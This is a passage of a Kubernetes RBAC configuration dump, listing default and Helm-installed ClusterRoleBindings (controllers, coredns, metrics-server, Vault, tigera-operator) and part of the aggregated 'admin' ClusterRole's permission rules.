- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:generic-garbage-collector
    resourceVersion: "200"
    uid: 41416b2b-78a7-4a6b-b91d-919a6f20c59b
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:generic-garbage-collector
  subjects:
  - kind: ServiceAccount
    name: generic-garbage-collector
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:horizontal-pod-autoscaler
    resourceVersion: "201"
    uid: 90d5ac06-6518-406c-b579-ca33a51c8a38
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:horizontal-pod-autoscaler
  subjects:
  - kind: ServiceAccount
    name: horizontal-pod-autoscaler
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:job-controller
    resourceVersion: "202"
    uid: ee6ecc1a-06e2-4c06-876b-6cf2b0e6260a
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:job-controller
  subjects:
  - kind: ServiceAccount
    name: job-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:legacy-service-account-token-cleaner
    resourceVersion: "222"
    uid: e44102aa-4afd-4aa3-b9c3-77b47a8c52f9
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:legacy-service-account-token-cleaner
  subjects:
  - kind: ServiceAccount
    name: legacy-service-account-token-cleaner
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:namespace-controller
    resourceVersion: "203"
    uid: 44fe8f6b-2ac2-4f6e-ac2d-8b80331e2e3c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:namespace-controller
  subjects:
  - kind: ServiceAccount
    name: namespace-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:node-controller
    resourceVersion: "204"
    uid: 3da0294e-e7fa-4c7b-b4f1-0d60538c2c1c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:node-controller
  subjects:
  - kind: ServiceAccount
    name: node-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:persistent-volume-binder
    resourceVersion: "205"
    uid: 7e5bdb61-f35f-4500-9f03-f11893b3ee41
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:persistent-volume-binder
  subjects:
  - kind: ServiceAccount
    name: persistent-volume-binder
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pod-garbage-collector
    resourceVersion: "206"
    uid: 154b35e1-4978-4848-a8a9-0cb348374553
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:pod-garbage-collector
  subjects:
  - kind: ServiceAccount
    name: pod-garbage-collector
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pv-protection-controller
    resourceVersion: "218"
    uid: 1314f44c-0904-49cd-bc95-86d87dbd1dc3
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:pv-protection-controller
  subjects:
  - kind: ServiceAccount
    name: pv-protection-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pvc-protection-controller
    resourceVersion: "217"
    uid: 1fc26115-8db9-498f-86ab-bb15c32f12cb
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:pvc-protection-controller
  subjects:
  - kind: ServiceAccount
    name: pvc-protection-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:replicaset-controller
    resourceVersion: "207"
    uid: 9ab6b093-9652-4440-a6bd-917d0b003669
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:replicaset-controller
  subjects:
  - kind: ServiceAccount
    name: replicaset-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:replication-controller
    resourceVersion: "208"
    uid: 6ceca5ba-48a0-42e1-9489-e0268c41738c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:replication-controller
  subjects:
  - kind: ServiceAccount
    name: replication-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:resourcequota-controller
    resourceVersion: "209"
    uid: 66e0947c-3a87-4d44-b38c-c6ceb4793565
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:resourcequota-controller
  subjects:
  - kind: ServiceAccount
    name: resourcequota-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:root-ca-cert-publisher
    resourceVersion: "220"
    uid: 54d17de7-1775-4ade-a9bb-b6f83405c814
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:root-ca-cert-publisher
  subjects:
  - kind: ServiceAccount
    name: root-ca-cert-publisher
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:route-controller
    resourceVersion: "210"
    uid: 0e105926-c3bb-4f65-a2fa-9d69aed9eb73
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:route-controller
  subjects:
  - kind: ServiceAccount
    name: route-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:selinux-warning-controller
    resourceVersion: "223"
    uid: f4b1ef5a-8d75-4fe1-a5f4-d0a650a0faa3
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:selinux-warning-controller
  subjects:
  - kind: ServiceAccount
    name: selinux-warning-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-account-controller
    resourceVersion: "211"
    uid: ca322c84-3f56-467b-bf8b-43f993c294e0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:service-account-controller
  subjects:
  - kind: ServiceAccount
    name: service-account-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-cidrs-controller
    resourceVersion: "213"
    uid: 3b482d57-1712-4963-be06-4741b0300f9e
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:service-cidrs-controller
  subjects:
  - kind: ServiceAccount
    name: service-cidrs-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-controller
    resourceVersion: "212"
    uid: 3b99c85e-f80f-4e45-9a83-36ed2406918c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:service-controller
  subjects:
  - kind: ServiceAccount
    name: service-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:statefulset-controller
    resourceVersion: "214"
    uid: a06b5e50-fc04-4026-8815-a7f24cda04f3
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:statefulset-controller
  subjects:
  - kind: ServiceAccount
    name: statefulset-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ttl-after-finished-controller
    resourceVersion: "219"
    uid: 0380d278-87ba-460b-bb85-9ba818672648
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:ttl-after-finished-controller
  subjects:
  - kind: ServiceAccount
    name: ttl-after-finished-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ttl-controller
    resourceVersion: "215"
    uid: 40225690-2f36-40f6-b4bb-24cf00dfabba
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:ttl-controller
  subjects:
  - kind: ServiceAccount
    name: ttl-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:validatingadmissionpolicy-status-controller
    resourceVersion: "221"
    uid: 836b837a-1feb-4e61-a00d-ae064f9d3849
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:validatingadmissionpolicy-status-controller
  subjects:
  - kind: ServiceAccount
    name: validatingadmissionpolicy-status-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: system:coredns
    resourceVersion: "268"
    uid: 90a78fef-6f28-43c5-800c-cd38cd02d1dd
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:coredns
  subjects:
  - kind: ServiceAccount
    name: coredns
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:discovery
    resourceVersion: "179"
    uid: 0d11c1a8-7eb7-49e3-9c60-ca2507f62c7a
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:discovery
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:authenticated
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-controller-manager
    resourceVersion: "183"
    uid: 62de2a1f-fbff-45a8-bf72-baf2f85e14f8
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:kube-controller-manager
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-controller-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-dns
    resourceVersion: "184"
    uid: 81e1ceaf-64fa-46f1-b6e1-a7eb59bc9bf2
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:kube-dns
  subjects:
  - kind: ServiceAccount
    name: kube-dns
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-scheduler
    resourceVersion: "185"
    uid: 594c068e-4564-4bcf-8f91-31e75b729f71
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:kube-scheduler
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-scheduler
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: system:metrics-server
    resourceVersion: "266990"
    uid: 02b6fe37-bea7-4331-bb06-337c93df19b7
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:metrics-server
  subjects:
  - kind: ServiceAccount
    name: metrics-server
    namespace: metrics-server
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:monitoring
    resourceVersion: "178"
    uid: 0518ae82-5608-4918-bbcf-dff628c30a81
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:monitoring
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:monitoring
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node
    resourceVersion: "187"
    uid: 180966c9-b005-4327-a3da-bc9a770cdf78
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:node
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node-proxier
    resourceVersion: "182"
    uid: 1ee4bdaf-1b4a-45a4-8771-c90e0e2e9ffa
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:node-proxier
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-proxy
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:public-info-viewer
    resourceVersion: "181"
    uid: 343d0738-067b-4306-b36f-bdda1142d0a9
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:public-info-viewer
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:authenticated
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:unauthenticated
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:service-account-issuer-discovery
    resourceVersion: "188"
    uid: c213db2f-c114-4a46-b883-ee739544b883
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:service-account-issuer-discovery
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:serviceaccounts
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:volume-scheduler
    resourceVersion: "186"
    uid: b006d432-4eab-4d65-956d-a6212fc7f240
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:volume-scheduler
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-scheduler
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      k8s-app: tigera-operator
    name: tigera-operator
    resourceVersion: "6820847"
    uid: 3616e457-1a69-43e6-845b-56422279c4b3
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: tigera-operator
  subjects:
  - kind: ServiceAccount
    name: tigera-operator
    namespace: tigera-operator
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
    name: vault-agent-injector-binding
    resourceVersion: "265869"
    uid: a699cdc9-43e1-40f7-af73-f1bd938c0a7e
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: vault-agent-injector-clusterrole
  subjects:
  - kind: ServiceAccount
    name: vault-agent-injector
    namespace: vault
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      helm.sh/chart: vault-0.30.1
    name: vault-server-binding
    resourceVersion: "265868"
    uid: c1296ad1-5686-412e-8cc0-69baa5707b97
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:auth-delegator
  subjects:
  - kind: ServiceAccount
    name: vault
    namespace: vault
- aggregationRule:
    clusterRoleSelectors:
    - matchLabels:
        rbac.authorization.k8s.io/aggregate-to-admin: "true"
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: admin
    resourceVersion: "437038"
    uid: 937b9785-7034-4187-91ca-3b60003563e5
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates/status
    verbs:
    - update
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    - secrets
    - services/proxy
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - serviceaccounts
    verbs:
    - impersonate
  - apiGroups:
    - ""
    resources:
    - pods
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods/eviction
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - configmaps
    - events
    - persistentvolumeclaims
    - replicationcontrollers
    - replicationcontrollers/scale
    - secrets
    - serviceaccounts
    - services
    - services/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - serviceaccounts/token
    verbs:
    - create
  - apiGroups:
    - apps
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - replicasets
    - replicasets/scale
    - statefulsets
    - statefulsets/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - jobs
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - ingresses
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicationcontrollers/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - networkpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    - endpoints
    - persistentvolumeclaims
    - persistentvolumeclaims/status
    - pods
    - replicationcontrollers
    - replicationcontrollers/scale
    - serviceaccounts
    - services
    - services/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - bindings
    - events
    - limitranges
    - namespaces/status
    - pods/log
    - pods/status
    - replicationcontrollers/status
    - resourcequotas
    - resourcequotas/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - replicasets
    - replicasets/scale
    - replicasets/status
    - statefulsets
    - statefulsets/scale
    - statefulsets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    - horizontalpodautoscalers/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - cronjobs/status
    - jobs
    - jobs/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - ingresses
    - ingresses/status
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicasets/status
    - replicationcontrollers/scale
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    - poddisruptionbudgets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - ingresses/status
    - networkpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - authorization.k8s.io
    resources:
    - localsubjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - rbac.authorization.k8s.io
    resources:
    - rolebindings
    - roles
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
